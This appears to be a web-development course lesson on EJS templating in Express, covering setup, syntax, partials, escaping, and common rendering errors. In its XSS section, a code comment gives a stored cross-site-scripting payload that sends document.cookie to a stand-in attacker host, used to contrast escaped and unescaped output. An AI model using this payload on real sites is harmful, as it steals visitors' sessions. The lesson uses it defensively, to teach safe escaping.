Lesson 11 of 20

Template Engines (EJS)

Setting Up EJS

Everything so far has sent JSON. A template engine does the other thing: it takes an HTML file with gaps in it, fills those gaps with data on the server, and sends finished HTML to the browser. EJS — Embedded JavaScript — is the easiest of these to learn, because the code inside the gaps is ordinary JavaScript rather than a new language invented for templates.

This is worth learning even if you intend to build React frontends. A server-rendered page needs no build step, no bundler and no separate deployment. The browser receives complete HTML, so the page appears immediately and search engines can read it without running any JavaScript at all. For an admin panel, a project dashboard, an invoice page or anything content-heavy, that is a genuinely good trade.

What you give up is interactivity. A page rendered on the server is finished when it arrives, so anything that must change without a reload — live filtering, drag and drop, a chat window — still means JavaScript in the browser. In practice most teams do not choose one forever: they render the pages with a template engine and add small pieces of client-side JavaScript exactly where those pieces earn their keep.

Setting it up is two lines. app.set('view engine', 'ejs') tells Express which engine to use and lets you write res.render('index') without an extension. app.set('views', ...) says where the files live — and anchor that path with path.join(__dirname, 'views'), for exactly the reason lesson 5 gave. A bare 'views' is resolved against the working directory, so it works when you run from the project root and fails the moment a deployment platform starts your process somewhere else.

res.render(view, data) does the work: it loads the template, runs it with the object you passed as its set of variables, and sends the resulting HTML. It ends the response, so it obeys the same one-reply-per-request rule as res.json — a res.render followed by anything else that answers gives you the headers-sent error from lesson 6 all over again.

Example
// npm install ejs

const express = require('express');
const path = require('path');
const app = express();

// Set EJS as the view engine
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

// Serve CSS and images the same way — anchored, not cwd-relative
app.use(express.static(path.join(__dirname, 'public')));

// Render a view with data
app.get('/', (req, res) => {
  res.render('index', {
    title: 'Home Page',
    username: 'Alice',
    items: ['Node.js', 'Express', 'EJS']
  });
});

app.listen(3000, () => {
  console.log('Server running on http://localhost:3000');
});
  • app.set('view engine', 'ejs') — render .ejs files without naming the extension
  • app.set('views', path.join(__dirname, 'views')) — anchor the folder to your source file
  • res.render('index', data) — fill the template and send the finished HTML
  • The keys of data become the variables available inside the template
  • res.render ends the response — never follow it with another reply
  • Server rendering: no build step, instant first paint, readable by crawlers
Notes
  • A template engine and a JSON API are not rivals, and plenty of applications serve both from one Express app. Mount the pages at / and the API under /api, and the same service can render a dashboard for humans while answering a mobile app on the side.

EJS Syntax

EJS has four tags worth knowing, and you will use two of them constantly. <%= value %> prints a value with HTML escaping applied. <% code %> runs JavaScript without printing anything, which is how loops and conditionals are written. <%- value %> prints without escaping. <%# comment %> is a note to yourself that never reaches the browser.

The control-flow tags look strange at first, because a loop is written as several separate tags with plain HTML sitting between them. <% items.forEach(item => { %> opens the block, then comes the HTML, then <% }) %> closes it. It reads oddly until you realise the template is JavaScript with HTML pasted into the middle rather than the other way round — after which the stray braces stop being mysterious.

Everything you pass to res.render is in scope by name, and nothing else is. res.render('index', { title, items }) makes title and items available inside the template; your database connection, your environment variables and your route's local variables are not. That limitation is deliberate and worth respecting — a template that reaches out for its own data is a template you can no longer render from a test.

Resist putting logic in here. A template that computes totals, formats dates three different ways and decides who is allowed to see which section has quietly become application code living in a file nobody tests and nobody lints. Do that work in the route or a service, pass down an object that is ready to display, and let the template do nothing but arrange it on the page.

One practical detail so it does not distract you later: a <% %> tag sitting on its own line leaves a blank line in the rendered output. It makes no difference to the browser and looks slightly untidy in "view source". EJS has whitespace-control syntax for it; on a real project, it is not worth your attention.

Example
<!-- views/index.ejs -->
<!DOCTYPE html>
<html>
<head>
  <title><%= title %></title>
</head>
<body>
  <%- include('partials/header') %>

  <h1>Welcome, <%= username %>!</h1>

  <% if (items.length > 0) { %>
    <ul>
      <% items.forEach(item => { %>
        <li><%= item %></li>
      <% }) %>
    </ul>
  <% } else { %>
    <p>No items found.</p>
  <% } %>

  <%- include('partials/footer') %>
</body>
</html>

<!-- views/partials/header.ejs -->
<header>
  <nav>
    <a href="/">Home</a>
    <a href="/about">About</a>
  </nav>
</header>

<!-- views/partials/footer.ejs -->
<footer>
  <p>&copy; 2025 My App</p>
</footer>
  • <%= value %> — print with HTML escaping; the default for everything
  • <% code %> — run JavaScript, print nothing: loops and conditionals
  • <%- value %> — print without escaping; almost always the wrong tag
  • <%# note %> — a comment that never reaches the browser
  • Only the keys you pass to res.render exist inside the template
  • Keep calculations in the route; the template should only arrange what it is given
Notes
  • A useful test of whether a template is doing too much: could a designer who does not know JavaScript safely edit it? If the file is mostly HTML with values dropped in, yes. If it contains three nested conditionals and a reduce, the logic belongs in your route and the template has become somewhere bugs can hide.

Partials and a Shared Layout

Every page needs the same head, header and footer, and copying them into six files means editing six files the day your navigation gains a link. include solves this: <%- include('partials/header') %> pastes another template in at that point, so the shared parts of your site exist once.

Notice the tag — <%-, not <%=. A partial produces HTML, and printing HTML through the escaping tag would show the visitor your own tags as literal text. This is the one legitimate everyday use of the unescaped tag, and it is safe precisely because the content is a file you wrote rather than anything a user typed.

Partials accept data. include('partials/card', { book }) passes an object in, and the partial refers to book by name. That turns a partial from a static fragment into a small reusable component: one card.ejs, rendered once per item inside a loop, and one place to change when the card design changes.

Layouts — a single page skeleton with a hole where the content goes — are not built into EJS the way they are in some other engines. The usual approach is the one shown here: every page includes a head partial at the top and a footer at the bottom. Packages exist that add real layouts, but on a small project two includes per page is less machinery for the same outcome.

Paths given to include are resolved relative to your views folder, and a mistake produces a clear error rather than a silently blank section, which is one of the more pleasant things about EJS. Keep partials in views/partials/ so it is obvious at a glance which files are pages and which are fragments.

Example
<!-- views/partials/head.ejs -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title><%= title %></title>
  <link rel="stylesheet" href="/css/style.css">
</head>
<body>

<!-- views/partials/card.ejs — a reusable component -->
<article class="card">
  <h3><%= book.title %></h3>
  <p><%= book.author %></p>
</article>

<!-- views/books.ejs — the page itself -->
<%- include('partials/head', { title: 'All books' }) %>

<main>
  <h1>Books</h1>

  <% if (books.length === 0) { %>
    <p>Nothing here yet.</p>
  <% } else { %>
    <% books.forEach(book => { %>
      <%- include('partials/card', { book }) %>
    <% }) %>
  <% } %>
</main>

<%- include('partials/footer') %>
Notes
  • Pass a partial everything it needs and nothing more. A card.ejs that expects only book can be dropped into any page; one that also reads currentUser can only be used on pages that happen to have passed it, and you will find that out through a crash rather than through a warning.

Escaping and the XSS Trap

<%= %> escapes and <%- %> does not, and the distance between those two characters is the distance between a safe page and a site that hands out its users' sessions. This is the most important paragraph in the lesson.

Make it concrete. Your site lets people post comments and shows them on a page. Somebody posts a comment whose text is a script tag that sends document.cookie to a server they control. If you render that comment with the unescaped tag, the browser receives a real script element and runs it — in every other visitor's browser, with that visitor's session. This is cross-site scripting, and because the comment sits in your database, it fires again for every future visitor.

So the rule is easy to state and easy to forget under deadline pressure: anything a user supplied goes through <%= %>, always. The unescaped tag is for including your own partials and for nothing else. If a feature genuinely requires users to submit formatted text, run it through a maintained HTML sanitiser before storing it, and do not write that filter yourself — it is a wheel that has been reinvented badly for two decades.

Escaping is also contextual, which is where people who already know about escaping still get caught. EJS escapes for HTML text. An escaped value placed inside a script block, or into an unquoted attribute, or into an href, is a different context with different rules — an href will accept a javascript: URL quite happily. Never inject user data into a script tag; if the page's JavaScript needs data, fetch it from an API endpoint or read it from a quoted data- attribute.

And the thing escaping cannot do: it does not validate. An escaped value is safe to display and may still be nonsense — an empty name, a negative price, an email address that is not one. Escaping is the last step before display. Validation happens when the data arrives, and you need both.

Example
<!-- Suppose a user submitted this as their comment:
     <script>fetch('https://evil.example/steal?c=' + document.cookie)</script> -->

<!-- SAFE — the browser displays the text, tags and all -->
<p><%= comment.body %></p>

<!-- DANGEROUS — the browser receives a real script element and runs it -->
<p><%- comment.body %></p>

<!-- The one everyday use of <%- : including your own partial -->
<%- include('partials/header', { title: 'Comments' }) %>

<!-- Escaping is per CONTEXT. Both of these are still unsafe: -->
<a href="<%= user.website %>">Site</a>            <!-- javascript: URLs -->
<script>const name = "<%= user.name %>";</script>  <!-- wrong context entirely -->

<!-- Do this instead — keep user data out of script tags -->
<div id="app" data-user-id="<%= user.id %>"></div>
  • <%= %> — escaped; the correct tag for anything a user supplied
  • <%- %> — unescaped; your own partials and nothing else
  • Stored XSS runs in every future visitor's browser, with their session
  • Escaping is per context — HTML text, an attribute and a script block differ
  • Never place user data inside a script tag; use an API call or a quoted data- attribute
  • Escaping is not validation; you still need to check what arrived
Notes
  • If you ever catch yourself thinking "the raw tag is fine here, this value came from our own database", stop. Everything in your database arrived through a form at some point, and "our own data" is precisely the assumption that turns a comment box into a way to steal sessions. The escaping tag is the default for a reason.

Rendering Errors and What They Mean

Failed to lookup view "index" in views directory means Express looked exactly where you told it and found nothing there. Either the views path is wrong — usually a bare 'views' resolved against an unexpected working directory — or the filename does not match, including its capitalisation, which matters on your Linux server even though it did not on your laptop.

x is not defined, thrown from inside a template, is the most common error of all. The template referred to a variable that res.render did not pass. There is no such thing as an optional variable here: if one route renders the page with user and another renders it without, the second one crashes. Pass the same set of keys from every route that renders a given template — that is a better fix than sprinkling typeof checks through the HTML.

Cannot read properties of undefined is the same problem one level down. You did pass user, but it is null because nobody is logged in, and the template asked for user.name. Decide in the route what the page should show for an absent user and pass that decision down, instead of teaching the template about your authentication system.

A blank page with a 500 in the terminal is usually an exception from your own code inside a <% %> block. Read the stack trace properly — EJS reports the template name and the line number, which is more helpful than most people expect from a template engine.

Two operational notes to finish. Templates are cached in production and re-read during development, so a change that appears to have been ignored is either a cached view or, far more often, a server nobody restarted. And res.render ends the response, so anything sent after it produces the headers-sent error — which, five lessons in, you should now recognise before you finish reading the message.

Example
// The route decides what the page needs — and always passes the same shape
app.get('/dashboard', async (req, res, next) => {
  try {
    const books = await Book.find({ owner: req.user ? req.user.id : null });

    res.render('dashboard', {
      title: 'Your books',
      user: req.user || null,   // pass it even when there is nobody logged in
      books,                    // an array — never undefined
      error: null
    });
  } catch (err) {
    next(err);                  // let the error handler answer
  }
});

// In the template, handle the empty cases explicitly:
//   <% if (user) { %> Hello <%= user.name %> <% } else { %> Sign in <% } %>
//   <% if (books.length === 0) { %> <p>No books yet.</p> <% } %>

// Errors you will actually meet:
//   Failed to lookup view "dashboard"    -> wrong views path, or filename case
//   user is not defined                  -> res.render did not pass it
//   Cannot read properties of undefined  -> it was passed, but it was null
  • Failed to lookup view — wrong views path, or a filename whose case differs
  • x is not defined — res.render never passed that variable
  • Pass the same set of keys from every route that renders the same template
  • Decide in the route what an absent user or an empty list should look like
  • Views are cached in production; in development, restart before believing a change did nothing
  • res.render ends the response — send nothing after it
Notes
  • Filename case is the item on this list that only bites after deployment. Windows and macOS treat Dashboard.ejs and dashboard.ejs as the same file; the Linux machine you deploy to does not, and the error arrives at the worst possible moment. Keep every view file and folder lowercase and the problem cannot occur.
Ask AI